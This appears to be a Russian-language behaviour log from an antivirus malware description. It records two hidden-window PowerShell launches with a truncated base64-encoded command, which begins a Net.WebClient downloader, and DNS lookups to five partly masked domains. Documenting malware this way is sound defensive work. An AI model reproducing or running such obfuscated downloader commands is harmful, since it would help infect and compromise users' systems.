Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABLADAAOABfADQAXwBfAF8APQAoACcATgBfADMAJwArACcAMwAwACcAKwAnAF8AMgA2ACcAKQA7ACQASwA3ADgANgA2ADcAMwAyAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAEcAOAA0ADgAMABfAF...
- DNS ASK be#####kacasepatan.com
- DNS ASK ic####tikepppni.org
- DNS ASK na##art.cf
- DNS ASK mo###king.site
- DNS ASK mo###atex.ru
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABLADAAOABfADQAXwBfAF8APQAoACcATgBfADMAJwArACcAMwAwACcAKwAnAF8AMgA2ACcAKQA7ACQASwA3ADgANgA2ADcAMwAyAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAEcAOAA0ADgAMABfAF...' (со скрытым окном)